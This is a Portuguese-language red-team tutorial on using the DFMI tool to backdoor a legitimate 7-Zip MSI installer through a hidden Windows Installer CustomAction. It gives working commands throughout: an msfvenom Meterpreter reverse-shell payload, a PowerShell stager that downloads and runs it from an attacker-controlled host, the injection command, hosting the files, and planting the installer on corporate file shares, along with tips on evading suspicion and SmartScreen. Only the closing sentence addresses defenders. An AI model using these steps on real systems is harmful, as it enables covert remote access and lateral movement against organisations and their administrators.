DFMI: BACKDOORING DE INSTALADORES MSI FILELESS

Instaladores em compartilhamentos como vetor de ataque

Em empresas de grande porte, compartilhamentos de arquivos frequentemente reúnem os instaladores que a equipe de TI usa em estações de trabalho e servidores. Concentrar esses pacotes em um share separado é prática comum — e alguns administradores deixam esse diretório totalmente acessível, sob a premissa de que não há nada de valioso ali.

Essa premissa é falsa. Um instalador .msi pode receber um backdoor sem quebrar sua funcionalidade: o software continua instalando normalmente, mas uma ação oculta executa durante o processo. Na próxima vez que um administrador rodar o pacote comprometido, o backdoor dispara sob os privilégios dele — o que permite movimentação lateral na rede sem precisar da senha dessa conta.

A ferramenta usada nesta demonstração é o DFMI, apresentada na DEFCON 34. Trata-se de uma suíte para execução de código fileless e entrega encoberta de payloads em operações red team através de arquivos .msi, abusando do mecanismo de CustomActions do Windows Installer para executar payloads silenciosamente durante a instalação de software legítimo. Com tempo dedicado ao backdoor, é possível reduzir os alertas do SmartScreen e dar ao instalador uma aparência bem mais confiável.

Instalação das dependências

O trabalho é feito a partir do Kali Linux. Para manipular pacotes MSI no Linux, o DFMI depende do msitools — o conjunto de utilitários que inclui msibuild e msiinfo, usados pela ferramenta para executar consultas SQL diretamente contra o banco de dados do instalador.

Atualize os repositórios e instale os pacotes:

sudo apt update
sudo apt install -y msitools wixl

O msitools fornece a infraestrutura de leitura e reconstrução do MSI. O wixl, compilador WiX para Linux, é usado pelo módulo stub (que cria instaladores do zero) e acompanha a instalação recomendada da suíte.

Obtenção e execução do DFMI

Com as dependências instaladas, clone o repositório oficial e execute a ferramenta:

git clone https://github.com/ccelikanil/DFMI.git
cd DFMI
python3 dfmi.py

O menu principal lista os três módulos da suíte: inject, que injeta um CustomAction em um MSI existente; rogue-mst, que gera um transform .mst preservando a assinatura digital do pacote original; e stub, que cria um MSI malicioso autônomo do zero. Esta demonstração cobre apenas o comando inject — ele é suficiente para backdoorar um instalador.

Preparação do instalador alvo

Existem várias aplicações com instaladores .msi disponíveis no GitHub. O 7-Zip é um exemplo recorrente em shares corporativos, mas qualquer instalador encontrado no compartilhamento serve. A demonstração copiou o pacote diretamente da página de releases oficial:

wget https://github.com/ip7z/7zip/releases/download/26.03/7z2603-x64.msi -O 7zip_original.msi

A versão 26.03 é a release vigente do 7-Zip no momento da demonstração; o endereço exato muda com novas versões. O essencial é usar o pacote oficial do fornecedor — é isso que dá ao artefato backdoored a aparência de software legítimo.

Geração do payload

A estratégia usa dois componentes: o payload gerado pelo framework de C2 e um script PowerShell benigno injetado no instalador, que baixa e executa o primeiro a partir do servidor do atacante.

A demonstração usou o Metasploit para gerar o binário de conexão reversa Meterpreter:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP-DO-ATACANTE> LPORT=<PORTA> -f exe -o payload.exe

O script de estágio 1 tem estrutura simples — baixa o executável do C2 e o inicia na máquina vítima:

Invoke-WebRequest -Uri "http://<IP-DO-ATACANTE>:<PORTA>/payload.exe" -OutFile "C:\Temp\payload.exe"
Start-Process "C:\Temp\payload.exe"

No fluxo do DFMI, o conteúdo desse script é codificado em Base64 e embutido no campo Target de um CustomAction Type 50 que resolve para o PowerShell via cmd.exe — a codificação e a montagem da estrutura são feitas pela própria ferramenta durante a injeção.

Injeção do backdoor

Com o instalador original e a URL do script de estágio 1 prontos, o comando inject monta a cópia backdoored:

python3 dfmi.py inject 7zip_original.msi 7zip_backdoor.msi --c2 http://<IP-DO-ATACANTE>:8000/payload.ps1

A injeção adiciona um CustomAction Type 50 ao banco de dados do MSI: uma propriedade CMDEXE aponta para o cmd.exe e o Target carrega a chamada PowerShell codificada. A ação entra na tabela InstallExecuteSequence na sequência 1510 — imediatamente após InstallInitialize (1500) e antes de InstallFiles (4000) — para que o payload execute antes de qualquer arquivo legítimo ser gravado em disco. O sufixo “& exit 0” força a ação a retornar sempre sucesso, e o instalador nunca aborta, independentemente do resultado do payload.

O resultado é o arquivo 7zip_backdoor.msi: um pacote que preserva toda a funcionalidade do instalador original e transporta a ação oculta. O arquivo original nunca é modificado — a ferramenta trabalha sobre uma cópia.

Formas de execução no alvo

Ao concluir a injeção, o DFMI exibe no rodapé do terminal as diferentes formas de executar o instalador backdoored na máquina alvo a partir da linha de comando. A demonstração usa a interface gráfica: o pacote pode ser instalado pelo duplo clique, como qualquer software legítimo.

O mesmo instalador aceita a execução via msiexec, o padrão do Windows Installer:

msiexec /i 7zip_backdoor.msi

Para pacotes assinados em que a alteração do arquivo não é aceitável, a suíte oferece o módulo rogue-mst: um transform .mst separado, aplicado ao pacote original em tempo de instalação via parâmetro TRANSFORMS=, preservando a assinatura Authenticode do MSI legítimo.

Entrega do artefato

Para entregar o instalador à vítima, reúna os artefatos em um diretório — o MSI backdoored, o payload.exe e o payload.ps1 — e monte um servidor HTTP simples para hospedá-los:

# confira se todos os arquivos estão no diretório atual
ls
python3 -m http.server

A partir daqui, a entrega explora o vetor que abriu a superfície de ataque: substituir o instalador dentro do share corporativo e aguardar que alguém o execute — o que pode levar tempo — ou induzir o download a partir do servidor controlado.

Infecção e execução no alvo

Na demonstração, o instalador foi baixado do servidor HTTP e a instalação disparada pela interface gráfica, como um usuário faria com software legítimo.

Um detalhe observável durante a instalação do pacote backdoored: uma janela de terminal vazia aparece brevemente. Esse comportamento não é um entregador — softwares legítimos também exibem janelas de console fugazes, então o evento não denuncia por si só a ação oculta. Ajustar o timestamp do arquivo no share torna o artefato ainda mais confiável.

Ao final da instalação, a conexão reversa chega ao servidor de comando e controle: a sessão Meterpreter é estabelecida com os privilégios do usuário que executou o instalador.

O software original continua funcional

O ponto decisivo da técnica é a não-disrupção: o 7-Zip instalado continua funcionando perfeitamente, sem anomalia perceptível ao usuário. A instalação legítima mascara a ação oculta — a janela de terminal que piscou durante o processo passa a parecer parte esperada da instalação, minimizando a suspeita.

Essa preservação é o que distingue o ataque por CustomAction de uma troca simples de binário: a vítima recebe um software que funciona de verdade, e o backdoor executou em paralelo, durante a instalação.

Limitações do inject e assinaturas digitais

O módulo inject tem um limite objetivo: qualquer modificação em um MSI assinado invalida a assinatura Authenticode. O Windows pode exibir aviso de editor desconhecido, e políticas de application control podem bloquear o pacote. Quando preservar a assinatura é requisito, o caminho é o módulo rogue-mst — o transform .mst não altera o arquivo original, que mantém a assinatura intacta, e o msiexec aplica o transform em tempo de execução.

O DFMI randomiza os GUIDs ProductCode e PackageCode a cada execução, para que o cache do Windows Installer não sirva o pacote antigo no lugar do novo. Para MSIs sem as tabelas CustomAction e InstallExecuteSequence — caso de pacotes mínimos como o do 7-Zip — a ferramenta cria as tabelas do zero.

A cadeia tem pontos de fricção declarados: o payload precisa contornar AMSI/EDR por conta própria (a suíte não entrega bypass pronto) e o backdoor não estabelece persistência — dispara uma única vez, durante a instalação.

Conclusão

Com tempo suficiente de trabalho, é possível burlar o SmartScreen e ofuscar o payload para evadir detecção. Muitas empresas não têm recursos para proteções maduras, e o uso de software pirata é prática comum em certos mercados — o que torna o ambiente ainda mais permissivo e os administradores menos alertas.

O exemplo demonstrado é básico, mas foi suficiente para infectar a máquina da demonstração e obter acesso remoto sem quebrar o instalador. Para defensores, a lição é direta: compartilhamentos de software com permissões permissivas são superfície de ataque real, e a integridade dos instaladores precisa ser tratada como ativo crítico.